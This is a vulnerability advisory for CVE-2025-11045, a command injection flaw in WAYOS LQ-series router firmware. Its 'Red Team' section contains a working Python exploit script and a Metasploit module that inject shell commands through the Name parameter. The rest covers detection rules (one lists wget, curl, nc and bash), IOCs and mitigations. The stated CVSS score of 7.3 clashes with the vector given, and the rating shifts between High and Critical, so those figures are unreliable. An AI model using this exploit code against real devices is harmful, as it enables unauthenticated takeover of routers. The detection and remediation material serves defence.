CVE-2025-11045

Executive Summary

CVE-2025-11045 is a critical command injection vulnerability affecting multiple WAYOS router models (LQ_04, LQ_05, LQ_06, LQ_07, LQ_09) running firmware version 22.03.17. The flaw resides in the /usb_paswd.asp endpoint, where the Name parameter is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. With a CVSS score of 7.3, this vulnerability poses a significant threat to network integrity and confidentiality. Public exploit code is available, increasing the risk of widespread exploitation. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded network devices (WAYOS routers). Supply chain risk is elevated due to the lack of vendor patch and the public availability of exploit details.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full system read access.
• Integrity Impact: High (I:H) – Full system write access.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical. The combination of remote exploitability, low complexity, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the WAYOS router web interface. The /usb_paswd.asp endpoint is designed to manage USB storage passwords. The Name parameter is passed to a system shell command (likely via system() or popen()) without proper sanitization or escaping.

Root Cause: The application fails to validate or sanitize user-supplied input in the Name parameter. When this input is concatenated into a shell command, an attacker can inject arbitrary commands using shell metacharacters such as ;, |, &, or backticks.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to /usb_paswd.asp with a malicious Name parameter.
2. The router's web server processes the request and constructs a shell command like: echo <Name> > /tmp/usb_passwd.
3. Due to lack of sanitization, the injected command (e.g., ; id > /tmp/out) is executed by the shell.
4. The attacker can then retrieve the output or execute further commands.

Affected Models: LQ_04, LQ_05, LQ_06, LQ_07, LQ_09 (all running firmware 22.03.17).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for /usb_paswd.asp handler
char cmd[256];
snprintf(cmd, sizeof(cmd), "echo %s > /tmp/usb_passwd", request->getParameter("Name"));
system(cmd);

Patched Code (Conceptual):

// Patched version with input validation
char *name = request->getParameter("Name");
if (name == NULL || contains_shell_metacharacters(name)) {
    return_error("Invalid input");
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "echo %s > /tmp/usb_passwd", escape_shell_arg(name));
system(cmd);

Key Differences:

• Input validation: Patched code rejects inputs containing shell metacharacters.
• Proper escaping: Patched code uses escape_shell_arg() to neutralize special characters.
• No official patch is available from WAYOS at this time.

Exploitation & Lab Setup

Red Team (Offensive)

Exploit Code (Python):

#!/usr/bin/env python3
import requests
import sys

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <target_ip> <command>")
    sys.exit(1)

target = sys.argv[1]
cmd = sys.argv[2]

url = f"http://{target}/usb_paswd.asp"
payload = {"Name": f"; {cmd} ;"}

try:
    r = requests.post(url, data=payload, timeout=10)
    print(f"[+] Exploit sent to {target}")
    print(f"[+] Command: {cmd}")
    print(f"[+] Response: {r.text}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

python3 exploit.py 192.168.1.1 "id"

Metasploit Module (Conceptual):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WAYOS LQ Series Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in WAYOS LQ_04, LQ_05,
        LQ_06, LQ_07, and LQ_09 routers running firmware 22.03.17.
      },
      'Author'         => ['Valters IT'],
      'License'        => MSF_LICENSE,
      'References'     => [['CVE', '2025-11045']],
      'DisclosureDate' => '2025-03-01',
      'Targets'        => [['Automatic', {}]],
      'Payload'        => {'BadChars' => "\x00"},
      'DefaultTarget'  => 0
    ))

    register_options([
      Opt::RPORT(80),
      OptString.new('TARGETURI', [true, 'The URI path', '/usb_paswd.asp']),
    ])
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'vars_post' => {
        'Name' => "; #{payload.encoded} ;"
      }
    })
  end
end

Blue Team (Defensive)

Lab Setup:

1. Isolate a vulnerable WAYOS router in a VLAN with no internet access.
2. Use a jump box to simulate attacker traffic.
3. Monitor with Wireshark and a SIEM (e.g., Splunk, ELK).

Detection Steps:

• Monitor HTTP POST requests to /usb_paswd.asp with unusual Name parameters.
• Look for shell metacharacters (;, |, &, `, $()) in the Name field.
• Alert on outbound connections from the router to unknown IPs (post-exploitation C2).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /usb_paswd.asp with Name parameter containing shell metacharacters.
• Outbound connections from the router to unusual IP addresses on non-standard ports.
• DNS queries to suspicious domains from the router.

Host IOCs:

• Unexpected files in /tmp/ directory (e.g., /tmp/out, /tmp/exploit).
• Unusual processes running on the router (check via ps or web interface).
• Modified system binaries or configuration files.

File IOCs:

• /tmp/usb_passwd containing shell command output.
• /etc/passwd or /etc/shadow modified (if attacker escalates privileges).

Detection Engineering

YARA Rule

rule CVE_2025_11045_WAYOS_Command_Injection {
    meta:
        description = "Detects command injection attempts against WAYOS routers"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-11045"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $injection1 = /Name=[^&]*[;&|`$]/
        $injection2 = /Name=[^&]*\b(cat|id|whoami|uname|ls|ps|wget|curl|nc|bash|sh)\b/
        $uri = "/usb_paswd.asp"
    condition:
        $uri and ($injection1 or $injection2)
}

Sigma Rule

title: WAYOS Router Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /usb_paswd.asp with command injection patterns
author: Valters IT
date: 2025-03-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11045
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/usb_paswd.asp'
    keywords:
        - 'Name='
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11045 WAYOS Router Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/usb_paswd.asp";
    http_uri;
    content:"Name=";
    http_client_body;
    pcre:"/Name=[^&]*[;&|`$]/";
    sid:1000001;
    rev:1;
    reference:cve,2025-11045;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect WAYOS LQ_04, LQ_05, LQ_06, LQ_07, and LQ_09 routers from untrusted networks.
2. Disable remote management: If possible, disable the web interface on WAN-facing interfaces.
3. Apply firewall rules: Block inbound HTTP traffic to the router's management interface from untrusted sources.

Long-term Fix:

• Vendor patch: Monitor WAYOS official channels for a firmware update. No patch is currently available.
• Replace hardware: Consider replacing affected routers with patched or alternative models.
• Network segmentation: Place routers in a separate VLAN with strict access controls.

Workaround:

• If the /usb_paswd.asp endpoint is not required, block access to it via web server configuration or firewall rules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert